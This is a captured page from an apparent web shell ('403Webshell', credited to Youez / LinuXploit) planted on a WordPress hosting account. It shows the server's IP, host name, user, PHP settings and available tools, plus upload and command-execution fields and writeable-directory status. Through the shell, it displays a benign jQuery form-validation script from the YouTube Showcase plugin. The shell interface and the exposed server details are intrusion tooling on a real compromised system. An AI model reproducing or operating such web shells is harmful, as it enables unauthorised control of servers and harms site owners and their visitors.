403Webshell
Server IP : 68.178.247.200  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux p3plzcpnl489463.prod.phx3.secureserver.net 4.18.0-553.126.2.lve.el8.x86_64 #1 SMP Thu May 28 14:12:30 UTC 2026 x86_64
User : x9dppmxs4rgd ( 8559391)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/cwd/wp-content/plugins/youtube-showcase/assets/ext/emd-meta-box/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/cwd/wp-content/plugins/youtube-showcase/assets/ext/emd-meta-box/js//validate-cond.js
jQuery( document ).ready( function( $ )
{
	var $form = $( '#post' );

	// Required field styling
	$.each( emd_mb.validationOptions.rules, function( k, v )
	{
		if ( v['required'] )
		{
			//$( '#' + k ).parent().siblings( '.mb-label' ).addClass( 'required' ).append( '<span>*</span>' );
			$('input[name='+k+'],select[name='+k+'],textarea[name='+k+']').parents().find('label[for='+k+']').parent().addClass( 'required' ).append( '<span>*</span>' );
		}
	} );

	emd_mb.validationOptions.invalidHandler = function( form, validator )
	{
		// Re-enable the submit ( publish/update ) button and hide the ajax indicator
		$( '#publish' ).removeClass( 'button-primary-disabled' );
		$( '#ajax-loading' ).attr( 'style', '' );
		$form.siblings( '#message' ).remove();
		$form.before( '<div id="message" class="error"><p>' + emd_mb.summaryMessage + '</p></div>' );
	};
	
	//added for validation to work on select2 (required and selects)
	emd_mb.validationOptions.ignore= null;
	$.extend($.validator.messages,validate_msg);

	$form.validate(emd_mb.validationOptions );

} );

Youez - 2016 - github.com/yon3zu
LinuXploit